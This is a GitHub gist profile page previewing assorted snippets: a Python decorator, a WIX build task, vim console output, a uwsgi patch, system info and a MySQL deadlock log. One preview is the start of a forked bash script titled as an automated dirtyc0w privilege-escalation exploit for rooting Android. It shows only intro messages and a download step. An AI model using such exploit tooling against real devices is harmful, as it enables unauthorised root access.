Skip to content

Instantly share code, notes, and snippets.

View hulucc's full-sized avatar
🙃
smile

hulucc hulucc

🙃
smile
View GitHub Profile
@hulucc
hulucc / closure.py
Created March 24, 2017 02:40
python3
def log(f):
def wrapper(*args, **kwargs):
print "f address: ", f
return f(*args, **kwargs)
return wrapper
def add(a, b):
return a + b
add = log(add)
@hulucc
hulucc / root.sh
Created April 15, 2017 16:17 — forked from Arinerron/root.sh
"Root" via dirtyc0w privilege escalation exploit (automation script) / Android (32 bit)
#!/bin/bash
# Give the usual warning.
clear;
echo "[INFO] Automated Android root script started.\n\n[WARN] Exploit requires sdk module \"NDK\".\nFor more information, visit the installation guide @ https://goo.gl/E2nmLF\n[INFO] Press Ctrl+C to stop the script if you need to install the NDK module. Waiting 10 seconds...";
sleep 10;
clear;
# Download and extract exploit files.
echo "[INFO] Downloading exploit files from GitHub...";
@hulucc
hulucc / WIXProjectDependencies.cs
Created May 26, 2017 03:24 — forked from afranchuk/WIXProjectDependencies.cs
An MSBuild Task to automatically load project dependencies for WIX to bundle into an installer.
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Xml;
namespace BuildTasks
x27]9;11;"vim.exe: SetConsoleCursorInfo(99,1)"x27\x27]9;11;"vim.exe: SetConsoleCursorPosition(0,0)"x27\x27[?25l3x27[64;2Hx27[Kx27[64;1H
x27|112mx27[38;2;39;40;34mx27[48;2;231;60;80mE15: Invalid expression: \n4x27|7mx27[38;2;232;232;227mx27[48;2;39;40;34m
x27|112mx27[38;2;39;40;34mx27[48;2;231;60;80mE15: Invalid expression: \n4x27|7mx27[38;2;232;232;227mx27[48;2;39;40;34m
x27[38;2;230;219;116mx27[48;2;39;40;34mPress ENTER or type command to continuex27[?25hx27]9;11;"vim.exe: ExtSetAttributes(0x8F)"x27\x27]9;11;"vim.exe: ExtSetAttributes(0x8F)"x27\x27]9;11;"vim.exe: ExtSetAttributes(0x8F)"x27\x27]9;11;"vim.exe: ExtSetAttributes(0x40C8)"x27\x27]9;11;"vim.exe: ExtSetAttributes(0x8F)"x27\x27]9;11;"vim.exe: ExtSetAttributes(0x40C8)"x27\x27]9;11;"vim.exe: ExtSetAttributes(0x8F)"x27\x27]9;11;"vim.exe: ExtSetAttributes(0x8E)"x27\x27]9;11;"vim.exe: ExtSetAttributes(0x8E)"x27\
VIM - Vi IMproved 8.1 (2018 May 18, compiled Aug 16 2018 22:03:16)
MS-Windows 64-bit console version
Included patches: 1-290
Compiled by appveyor@APPVYR-WIN
Huge version without GUI. Features included (+) or not (-):
+acl +emacs_tags +mouse +tag_old_static
+arabic +eval -mouseshape -tag_any_white
+autocmd +ex_extra +multi_byte_ime/dyn +tcl/dyn
+autochdir +extra_search +multi_lang +termguicolors
+autoservername +farsi +mzscheme/dyn +terminal
]9;11;"vim.exe: SetConsoleCursorInfo(99,1)"\]9;11;"vim.exe: SetConsoleCursorPosition(0,0)"\[?25l3
|112mE15: Invalid expression: \n4|7m
|112mE15: Invalid expression: \n4|7m
Press ENTER or type command to continue[?25h]9;11;"vim.exe: ExtSetAttributes(0x8F)"\]9;11;"vim.exe: ExtSetAttributes(0x8F)"\]9;11;"vim.exe: ExtSetAttributes(0x8F)"\]9;11;"vim.exe: ExtSetAttributes(0x40C8)"\]9;11;"vim.exe: ExtSetAttributes(0x8F)"\]9;11;"vim.exe: ExtSetAttributes(0x40C8)"\]9;11;"vim.exe: ExtSetAttributes(0x8F)"\]9;11;"vim.exe: ExtSetAttributes(0x8E)"\]9;11;"vim.exe: ExtSetAttributes(0x8E)"\[?25l|7m [No Name] |7m|7m
# make pipenv lock uwsgi works under windows
# add func to os.py in virtualenv
def uname():
import inspect
caller = inspect.getmodule(inspect.stack()[1][0]).__name__
if caller == 'uwsgiconfig':
return ("", "", "", "", "")
raise AttributeError()
Host Name: HULUCC-PC
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.17134 N/A Build 17134
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner: N/A
Registered Organization: N/A
Product ID: 00330-80000-00000-AA977
Original Install Date: 2018/5/25, 2:17:54
LATEST DETECTED DEADLOCK
------------------------
2019-02-12 12:39:08 0x2b705d3d2700
*** (1) TRANSACTION:
TRANSACTION 6032621, ACTIVE 1 sec fetching rows
mysql tables in use 4, locked 4
LOCK WAIT 1865 lock struct(s), heap size 237776, 883 row lock(s)
MySQL thread id 1029023, OS thread handle 47762743035648, query id 31514533 172.31.35.187 forseti updating
UPDATE `favor_reminder` SET `plant_id` = 14540 WHERE (`favor_reminder`.`deactivated_at` IS NULL AND `favor_reminder`.`account_id` = 13147 AND `favor_reminder`.`content_type_id` = 30 AND `favor_reminder`.`object_id` = 125)
*** (1) WAITING FOR THIS LOCK TO BE GRANTED:
Warning: Using a password on the command line interface can be insecure.
+----+-------------+----------------+------------+-------------+---------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------+---------+------+------+----------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id | select_type | table | partitions | type | possible_keys | key | key_len | ref |